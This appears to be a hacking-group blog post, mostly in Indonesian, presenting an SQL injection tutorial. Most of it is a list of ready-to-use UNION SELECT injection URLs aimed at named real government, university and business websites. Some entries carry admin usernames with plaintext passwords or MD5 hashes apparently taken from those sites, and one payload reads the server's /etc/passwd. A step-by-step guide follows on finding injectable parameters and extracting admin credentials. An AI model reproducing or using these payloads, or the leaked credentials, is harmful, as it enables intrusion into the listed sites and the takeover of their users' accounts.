SQL injection tutorial

============================================== ==============================================
SQL Injection Vulnerability :

[+] All dork :
[+] union+all+select
[+] POC = All POC ^_*
[-] Greetz to indonesianHaxor Team.
[+] Plz.z.. Patch ur security.
[-] Linux Server209.webhostingpad.com 2.6.18-164.6.1.el5 #1 SMP Tue Nov 3 16:12:36 EST 2009 x86_64
[-] [69.65.33.56] 6969 (?) open.._

http://stabmaitreyawira.ac.id/news_detail.php?id=-2+union+select+1,2,3,4,group_concat(username,0x3a,password),6+from+user--
http://www.nganjukkab.go.id/ina/pariwisata/event.php?id=-1+union+select+1,2,3,group_concat(loginname,0x3a,password),5,6,7,8+from+portaluser--

http://www.quindo.co.id/english/event.php?id=-2+union+select+1,database(),3,group_concat(username,0x3a,password),5,6,7,8,9,10,11+from+admin--
http://www.stmikpontianak.ac.id/event.php?id=-24+union+select+1,2,database(),4,version(),6,7,8,9--
http://www.imjakarta.com/olympic/detail/info.php?id=-12+union+select+1,database(),group_concat(auto_id,0x3a,aid,0x3a,password),4+from+ms_admin--
http://www.direktori-perdamaian.org/ina/event.php?id=-14+union+select+user(),database(),version()--
http://www.oasislestari.com/event.php?id=-167+union+select+1,2,group_concat(userid,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+tbadmin--
http://www.an.tv/s/?sid=4+AND+1=2+UNION+SELECT+concat(user,0x3a,password),1+FROM+mysql.user/*
http://sap.gunadarma.ac.id/index.php?stateid=search&substep=detailkul&id=-1136+union+select+1,2,3,unhex(hex(@@version)),5,6,7--
http://www.indonesianeyes.com/news.php?id=-59+union+select+1,user(),version(),4,5,6--
http://www.aptik.or.id/news.php?session=details&newsID=-20060705103857+union+select+1,group_concat(email,0x3a,password),3,4,5,6,7,8,9+from+admin--
http://ia-smandu.org/berita.php?id=-14%20union+select+1,version(),database(),user(),5,6--
http://www.pustakabersama.net/buku.php?id=37357+AND+1=2+UNION+SELECT+0,1,version(),3,4,5,6--
http://www.inixindojogja.com/detailnews.php?id=-127+union+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8+from+admin--
http://balidiscoveryconsulting.com/detailNews.php?id=-3+union+select+1,2,version(),4--
http://kickandy.com/sendfriend.php?ar_id=-1527+union+select+1,2,database(),group_concat(User_Name,0x3a,User_Password),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+tbl_user--
http://www.kkppi.go.id/baru/job.php?mode=baca&catinfo_id=-2+union+select+1,2,3,4,group_concat(Login_name,0x3a,Password,0x3a,Email),6,7,8,9,10+from+tb_user--
http://pksm.mercubuana.ac.id/new/news.php?mode=baca&news_id=28+AND+1=2+UNION+SELECT+0,1,2,load_file(0x2f6574632f706173737764),4,5,6,7/*
http://ikatanbankir.com/ibi/news.php?id=-11+union+select+1,2,3,group_concat(username,0x3a,password),5,6,7,8+from+user--
http://total-ban.promedia-int.com/total/article.php?id=-3+union+select+1,database(),3,group_concat(username,0x3a,password),5,6,7,8+from+user--
http://maknyoess.com/web/news.php?id=-24+union+select+1,user(),3,group_concat(username,0x3a,password),5,6,7,8+from+user--
http://www.bli-online.com/bli/index.php?go=news.detail&idnews=-865+union+select+1,2,3,4,5,database(),7,group_concat(username,0x3a,password),9,10,11,12+from+td_users--
http://www.earthhour.wwf.or.id/news_detail.php?id=25+AND+1=2+UNION+SELECT+0,group_concat(username,0x3a,password),2,3,4+from+user/*
http://www.sonymusic.co.id/album81.php?id=-840+union+select+1,2,3,version(),5,6,7,8,9,10,11,12--
http://nexian.co.id/product.php?p=cdma&t=6+AND+1=2+UNION+SELECT+0,1,2,concat_ws(0x3a,user_id,username,password,lastlogin),4,5,6,7,8+from+users--
http://www.solusisehat.net/berita.php?id=-1%20union%20all%20select%201,version(),user(),4,database(),6,7/*
User : noviana
Pass : novi
http://www.kammi-jepang.net/berita.php?id=-1%20union%20all%20select%201,user(),3,version(),database(),6,7/*
http://www.solusihukum.com/artikel.php?id=-1%20union%20all%20select%201,2,concat_ws(0×10,version(),database(),user()),4,5/*
http://www.smpn2-bdl.sch.id/berita.php?id=-1%20union%20all%20select%201,version(),database(),4,5/*
http://www.sma9bulunganjkt.web.id/detail.php?id=1153726617%20union%20all%20select%201,version(),database(),user(),5/*
http://www.bapppedagtlo.go.id/berita.php?shownews=-1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*
http://bakornaspbp.go.id/html/berita.php?mode=baca&info_id=-1%20union%20all%20select%201,2,3,concat(convert(version()%20using%20latin1),0×3a,convert(database()%20using%20latin1),0×3a,convert(user()%20using%20latin1)),5,6,7,8
http://www.fsktm.upm.edu.my/v8/en/berita.php?id=-1%20union%20all%20select%201,2,3,version(),database(),6,7,user(),9,10,11,12/*
http://www.indobic.or.id/berita_detail.php?id_berita=-1%20union%20all%20select%201,2,3,4,5,6,concat_ws(0×10,user(),version(),database()),8,9/*
http://www.amikbalikpapan.ac.id/Berita.php?id=-1%20union%20all%20select%201,user(),database(),version(),5–
User : admin
Pass : amikbpp
http://pmb.umm.ac.id/berita.php?id_berita=-1%20union%20all%20select%201,version(),user(),database(),5/*
1. User : hisyam
Pass :33182c2c0848964924b33a408b6ed540 (MD5)
2. User : pmb
Pass : 08326a5b5d3d588e9b11b0b0d249a275 (MD5)
3. User : admin
Pass : 21232f297a57a5a743894a0e4a801fc3 (MD5)
http://www.fe.trisakti.ac.id/bacaberita.php?id=-348%20union%20all%20select%201,user(),version(),database(),5,6/*
http://www.pustakabersama.net/berita.php?id=-1%20union%20all%20select%201,version(),3,4,5–
http://www.law.ui.ac.id/berita.php?bid=-122%20union%20all%20select%201,2,concat(convert(version()%20using%20latin1),0×3a,convert(database()%20using%20latin1),0×3a,convert(user()%20using%20latin1)),4,5,6/*
http://www.direktori-perdamaian.org/ina/berita.php?id=-57%20union%20all%20select%201,concat_ws(0×10,user(),version(),database()),3/*
http://www.batan.go.id/index.php?cat=-2%20union%20all%20select%201,user(),version(),4,5,database(),7/*
http://www.indochess.com/news.php?news_id=-2830%20union%20all%20select%201,2,3,concat_ws(0×10,version(),database(),user()),5,6,7,8,9/*
http://www.asianpga.com/article.php?sid=-131%20union%20all%20select%201,version(),database(),user(),5,6/*
http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-1%20union%20all%20select%201,2,3,4,concat(convert(version()%20using%20latin1),0×3a,convert(database()%20using%20latin1),0×3a,convert(user()%20using%20latin1)),6,7,8,9,10/*
http://www.batikmarkets.com/daftar-produk.php?categoryID=-1%20union%20all%20select%201,2,3,4,5,6,7,8/*
http://www.petromindo.com/?table=employer&pos=detail&id=-1%20union%20all%20select%201,2,3,4,5,6,7,concat_ws(0×10,convert(user()%20using%20latin1),convert(database()%20using%20latin1),convert(version()%20using%20latin1)),9,10,11/*6/*
http://tribunjabar.co.id/artikel_view.php?id=18730&kategori=-22%20union%20all%20select%201,concat_ws(0×10,version(),database(),user()),3,4,5,6/*
User:Pass:Level:Admin
1. jalu_friday:0b79885dfbb0373fdaf27fc23d2ae47d:admin:admin
2. Erwin:0a253726f18b4b4d9ba67374c470a615:admin:admin:
3. opin:82c920373761dd2462f7deb5ab860a28:admin:admin:
4. CHELSEA:8ba4e9598a8fe7ce87ef5f898faead45:admin:admin:
5. cecep_burdansyah:a551b32e6e4c2570cb7867dd6ecb0a80:admin:admin:
6. samhudi:b4be1c568a6dc02dcaf2849852bdb13e:admin:admin:
7. Januar:9a1dd27ebe0ad082c11de15af8e2ebc7:admin:admin:
8. kashmir:c1f62cbf495fa779c828b9240686d2df:admin:admin:
9. Ary:e9a68e8f320300e297d1b5df20608da8:admin:admin:
10. promosi:f320a193c6a1ed4ae0d3c8e79cad4142:promosi:Promo:
11. gani:6b04bac04cd30e10c35edef23c7e405e:admin:admin:
11. iklan:12e102020a145a1a51446e156692e635:iklan:iklan:
12. sirkulasi:02e45e3fe6077cd1510d12eaf0df2834:sirkulasi:sirk:
13. hermawan:11928ca22a60b25479e3f0799a0a3d5f:1:admin:
http://www.michaelpollan.com/article.php?id=-87%20union%20all%20select%201,concat_ws(0×10,user(),version),database()),3,4,5,6,7,8,9,10–
http://www.smkn2bukittinggi.com/list.php?cat=4%20union%20all%20select%201,concat_ws(version(),user(),database()),3,4,5,6,7,8,9,10,11,12/*
1. User : admin
Pass : admin2
2. User : developer
Pass : developer
http://www.komunikasys.net/product.list.php?categoryID=-3%20union%20all%20select%1,concat_ws(version(),user(),database()),3,4,5,6,7/*
http://www.keckobservatory.org/article.php?id=-190%20union%20all%20select%201,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,10,11/*
http://www.audaud.com/article.php?ArticleID=3440%20union%20all%20select%201,2,concat_ws(0×10,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*

greetz : Kang iJoo [indonesianhaxorteam]

Tutorial SQLi

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--


===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"


===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--


=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--


============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--


contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--



==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda!

tag: tutorial sql injection, sql injection, sqli, sql injection tutorial, sql article, injection, sql programing, sql.

Article information: Description: SQL injection tutorial Rating: 4.5 - Reviewer: LolidsOfficialBlog - ItemReviewed: SQL injection tutorial

Related Tips, Tricks and Tutorials :